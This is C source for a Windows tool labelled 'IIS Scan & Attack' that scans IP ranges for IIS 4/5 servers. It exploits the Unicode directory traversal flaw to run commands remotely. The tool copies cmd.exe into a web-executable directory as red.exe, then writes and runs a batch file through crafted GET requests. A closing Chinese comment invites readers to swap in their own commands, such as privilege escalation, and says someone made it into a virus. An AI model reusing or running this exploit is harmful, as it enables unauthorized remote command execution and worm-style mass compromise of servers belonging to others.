#include <windows.h>
#include <stdio.h>
#include <time.h>
#define UNISTRING "%c0%af"
long iplookup(char *rhost);
void FindHost(char *ServerName);
int CheckVersion(char *host, u_short port);
int FindExeDir(char *host, u_short port);
char *GetData(int SockFD);
int MoveCmd(char *host, u_short port);
void SendExploit(char *host, u_short port, u_short tport, char
*shellcode);
char *localpath;
char *exedir;
#define FileName "\\red.txt"
#define PORT 80
time_t ltime;
WSADATA wsaData;
FILE *f;
u_long startIP,endIP;
IN_ADDR serverIP;
char ServerName[256];
void CleanVars()
{
free(exedir);
free(localpath);
exedir=NULL;
localpath=NULL;
}
void FindHost(char *ServerName)
{
struct in_addr host;
u_short sport;
u_short tport;
sport=80; tport=2323;
host.S_un.S_addr = inet_addr(ServerName);
//Find an IIS directory with execute permissions
if (CheckVersion(ServerName,sport))
{
CleanVars();
return;
}
printf("Executable directory found. [%s]\n", exedir);
printf("Path to executable directory is [%s]\n",localpath);
//Move and rename cmd.exe from winnt\system32 to our executable directory as red.exe
if (MoveCmd(ServerName,sport))
{
CleanVars();
return;
}
//Send our exploit and own the server
SendExploit(ServerName,sport,tport,NULL);
CleanVars();
}
int CheckVersion(char *host, u_short port)
{
u_long value;
TIMEVAL timeout;
FD_SET mask;
char errorCode;
int errorLen;
int SockFD,status;
struct sockaddr_in DstSAin;
//add ore directories if you like but make sure to change the for() loop accordingly.
char MyCmd[256];
char *buffer;
int rbytes=0,loc1=0,loc2=0;
char locdir[300];
memset(locdir,0,300);
printf("Seraching IPs>>>>>>>>\n");
SockFD=socket(AF_INET,SOCK_STREAM,0);
value=1;
ioctlsocket(SockFD,FIONBIO,&value);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.s_addr=iplookup(host);
connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin));
timeout.tv_sec=2;
timeout.tv_usec=0;
FD_ZERO(&mask);
FD_SET(SockFD,&mask);
status=select(SockFD+1,NULL,&mask,NULL,&timeout);
switch(status)
{
case -1:
printf("Select() error at %s\n",ServerName);
exit(1);
case 0:
closesocket(SockFD);
return 1;
default:
if (FD_ISSET(SockFD,&mask))
{
errorCode=1;
errorLen=sizeof(errorCode);
getsockopt(SockFD,SOL_SOCKET,SO_ERROR,&errorCode,&errorLen);
if (errorCode==1)
fprintf(f,"Connected to %s\n",ServerName);
}
}
sprintf(MyCmd,"GET HTTP/1.0\n");
send(SockFD,MyCmd,strlen(MyCmd),0);
buffer=GetData(SockFD);
if((strstr(buffer,"Microsoft-IIS/4."))||(strstr(buffer,"Microsoft-IIS/5.")))
{
printf("Have Found a IIS Web Server:%s",ServerName);
fprintf(f,"Found the right IIS version\n%s\n",ServerName);
closesocket(SockFD);
if (FindExeDir(host,port)) return 1;
return 0;
}
closesocket(SockFD);
return 1;
}
void SendExploit(char *host, u_short port, u_short tport, char *shellcode)
{
//localpath\\red.exe
//This function moves cmd.exe from winnt\system32 to the found executable directory
int SockFD,i;
struct sockaddr_in DstSAin;
char waste[5000],uniwaste[500];
char space[3];
char Cmd[500];
char *buffer;
printf("Sending the exploit...\n");
memset(uniwaste,0,499);
for(i=0;i<8;i++)
{
strcat(uniwaste,"..");
strcat(uniwaste,UNISTRING); //Create our drop back url string
}
memset(space,0,3);
strcpy(space,"%20");
memset(waste,0,5000);
sprintf(Cmd,"echo%sver%s>%s%s\\aaa.bat",
space,space,space,localpath,space);
sprintf(waste,"GET /%s/%s/%s/red.exe?/c%s%s HTTP/1.0\n\n",
exedir,uniwaste,localpath+3,space,Cmd);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.s_addr=iplookup(host);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
send(SockFD,waste,strlen(waste),0); //send the echo command and shellcode
buffer=GetData(SockFD);
if((strstr(buffer,"Succe"))||(strstr(buffer,"³É¹¦")))
{
printf(buffer);
fprintf(f,"Driver already shared\n%s\n",buffer);
closesocket(SockFD);
if (FindExeDir(host,port)) return;
}
}
closesocket(SockFD);
//Now request the .asp file and cause the overflow
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.s_addr=iplookup(host);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
memset(waste,0,5000);
sprintf(waste,"GET /%s/%s/%s/red.exe?/caaa.bat\n HTTP/1.0\n\n",
exedir,uniwaste,localpath+3);
send(SockFD,waste,strlen(waste),0);
buffer=GetData(SockFD);
if(strlen(buffer))
{
printf("The aaa.bat return:%s",buffer);
}
else
//If we do get data back from the server then they are probably patched
printf("Exploit failed.\n");
}
}
int MoveCmd(char *host, u_short port)
{
//This function moves cmd.exe from winnt\system32 to the found executable directory
int SockFD,i;
struct sockaddr_in DstSAin;
char waste[500],uniwaste[500];
char space[3];
char dletter[2];
char *buffer;
char *p;
memset(uniwaste,0,499);
for(i=0;i<8;i++)
{
strcat(uniwaste,"..");
strcat(uniwaste,UNISTRING); //create drop back url
}
strncpy(dletter,localpath,1);
dletter[1]='\0';
memset(space,0,3);
strcpy(space,"%20");
printf("Moving cmd.exe from winnt\\system32 to %s.\n", localpath);
memset(waste,0,500);
//create string that causes cmd.exe to copy itself to our iis executable directory, also rename it so its > friendly.
sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%scopy%s%s:\\winnt\\system32\\cmd.exe%s%s\\red.exe HTTP/1.0\n\n",exedir,uniwaste,space,space,dletter,space,localpath);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.s_addr=iplookup(host);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
send(SockFD,waste,strlen(waste),0); //send the rename/move command
buffer=GetData(SockFD);
p=strstr(buffer,"1 file(s) copied."); //if buffer has this then we copied the file correctly.
if(p!=NULL)
{
printf("Succesfully moved cmd.exe to %s\\red.exe", localpath);
closesocket(SockFD);
return 0;
}
}
printf("Failed to move and rename cmd.exe. Server probably not vulnerable.\n");
closesocket(SockFD);
return 1;
}
int FindExeDir(char *host, u_short port)
{
u_long value;
TIMEVAL timeout;
FD_SET mask;
char errorCode;
int errorLen;
int SockFD,i,status;
struct sockaddr_in DstSAin;
//add more directories if you like but make sure to change the for() loop accordingly.
char *ExeDirs[5]={"scripts","IISADMPWD","msadc","cgi-bin","_vti_bin"};
char waste[500],uniwaste[500];
char *buffer,*p;
char space[3];
int rbytes=0,loc1=0,loc2=0;
char locdir[300];
memset(locdir,0,300);
memset(uniwaste,0,499);
memset(space,0,3);
strcpy(space,"%20");
printf("Attempting to find an executable directory...\n");
for(i=0;i<8;i++)
{
strcat(uniwaste,"..");
strcat(uniwaste,UNISTRING); //create drop back url string
}
for(i=0;i<4;i++)
{
memset(waste,0,500);
//create our string that sees if we can execute cmd.exe
//that way we know if a directory is executable and if the exe dir is on the same harddrive as cmd.exe
sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%sdir HTTP/1.0\n\n",ExeDirs[i],uniwaste,space);
SockFD=socket(AF_INET,SOCK_STREAM,0);
value=1;
ioctlsocket(SockFD,FIONBIO,&value);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.s_addr=iplookup(host);
connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin));
timeout.tv_sec=2;
timeout.tv_usec=0;
FD_ZERO(&mask);
FD_SET(SockFD,&mask);
status=select(SockFD+1,NULL,&mask,NULL,&timeout);
switch(status)
{
case -1:
printf("Select() error at %s\n",ServerName);
exit(1);
case 0:
closesocket(SockFD);
return 1;
default:
if (FD_ISSET(SockFD,&mask))
{
errorCode=1;
errorLen=sizeof(errorCode);
getsockopt(SockFD,SOL_SOCKET,SO_ERROR,&errorCode,&errorLen);
if (errorCode==1)
fprintf(f,"Connect to %s\n",ServerName);
}
}
printf("Trying directory [%s]\n", ExeDirs[i]);
send(SockFD,waste,strlen(waste),0); //try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Directory of"); //we found an executable directory on the same drive as cmd.exe!!!
if(p!=NULL)
{
loc1=p-buffer+1;
p=strstr(buffer,"<DIR>");
if(p!=NULL)
{
//do a bunch of crap to move the executable directory name into a global buffer
//and to also grab the remote servers local path to that executable directory
loc2=p-buffer+1;
loc2=loc2-27;
buffer[loc2-2]='\0';
strncpy(locdir,buffer+loc1+12,290);
//Set executable directory.
exedir=(char*)malloc(strlen(ExeDirs[i])+1);
memset(exedir,0,strlen(ExeDirs[i])+1);
memcpy(exedir,ExeDirs[i],strlen(ExeDirs[i]));
//Set executable directory path
localpath=(char*)malloc(strlen(locdir)+1);
memset(localpath,0,strlen(locdir)+1);
memcpy(localpath,locdir,strlen(locdir));
closesocket(SockFD);
return 0;
}
}
//looks like the server might not be vulnerable, you might want to tweak code though
printf("Could not find an executable directory or your unicode code is incorrect or the server is patched.\n");
closesocket(SockFD);
}
return 1;
}
//lookup an ip wheeeeee
long iplookup(char *rhost)
{
long rip;
struct hostent *hp;
if ((rip=inet_addr(rhost))==-1)
{
if ((hp=gethostbyname(rhost))==NULL)
{
printf("Failed to resolve host.\n");
return 127<<24+1;
}
memcpy(&rip, (hp->h_addr), 4);
}
return rip;
}
char *GetData(int SockFD)
{
//get data without a blocking recv so we dont hang if we crash the server
char *buffer;
char data[4001];
unsigned long on=1;
unsigned long off=0;
char waste[4001];
int p, i=1;
int t;
memset(data,0,4001);
p=ioctlsocket(SockFD,FIONBIO,&on);
memset(waste,0,4001);
for(t=1;t<10;t++){
i=recv(SockFD, waste, 4000, 0);
if(i>0)
break;
Sleep(500);
}
waste[i]='\0';
strncat(data,waste,4000);
buffer = ( char * )malloc( 4000 * sizeof( char ) );
strncpy( buffer, data, 4000 );
return buffer;
}
void WSockInit(int argc,char *argv[])
{
int i;
printf("IIS Scan & Attack(Just For Test) By Redp0wer\n");
if(argc!=3)
{
printf("Usage: %s [startIP] [endIP]\n",argv[0]);
exit(1);
}
if ((WSAStartup(MAKEWORD(2,2),&wsaData)!=0) ||
(LOBYTE(wsaData.wVersion)!=2 || HIBYTE(wsaData.wVersion)!=2))
{
printf("Could not find a usable WinSock DLL\n");
WSACleanup();
exit(1);
}
startIP=ntohl(inet_addr(argv[1]));
endIP=ntohl(inet_addr(argv[2]));
if(startIP>endIP)
{
i=startIP;
startIP=endIP;
endIP=i;
}
if ((f=fopen(FileName,"a"))==NULL)
{
if ((f=fopen(FileName,"w"))==NULL)
{
printf("Could not create log file: %s\n",FileName);
exit(1);
}
}
printf("All hacking history will be recorded in %s\n",FileName);
time(<ime);
fprintf(f,"--------------Scan Begin--------------\n%s",ctime(<ime));
fprintf(f,"From %s to %s\n",argv[1],argv[2]);
fflush(f);
printf("Searching for hosts...\n");
printf("From %s to %s\n",argv[1],argv[2]);
}
void ScanIP()
{
u_long i;
for(i=startIP; i<=endIP; i++)
{
if (((i % 256)==0)||((i % 256)==255))
continue;
serverIP.s_addr=htonl(i);
sprintf(ServerName,"%s",inet_ntoa(serverIP));
printf("Scan %s\n",ServerName);
FindHost(ServerName);
}
time(<ime);
fprintf(f,"------------Scan Finished-------------\n%s\n",ctime(<ime));
fclose(f);
}
int main(int argc,char *argv[])
{
WSockInit(argc,argv);
ScanIP();
WSACleanup();
return 0;
}
程序在发现漏洞之后,只是利用它往服务器上写入一 个AAA.BAT文件,并运行它.AAA.BAT里写入的命令只是执行系统的VER(检查版本)命令.
sprintf(Cmd,"echo%sver%s>%s%s\\aaa.bat",space,space,space,localpath,space);
sprintf(waste,"GET /%s/%s/%s/red.exe?/c%s%s HTTP/1.0\n\n",
exedir,uniwaste,localpath+3,space,Cmd);
我们便可以在这里修改命名以达到自己的私人目的,例如提升系统权限等等,但很不幸的是有人用它做成了病毒,这便是... ...
有兴趣的朋友请恢复,大家一起讨论! ^O^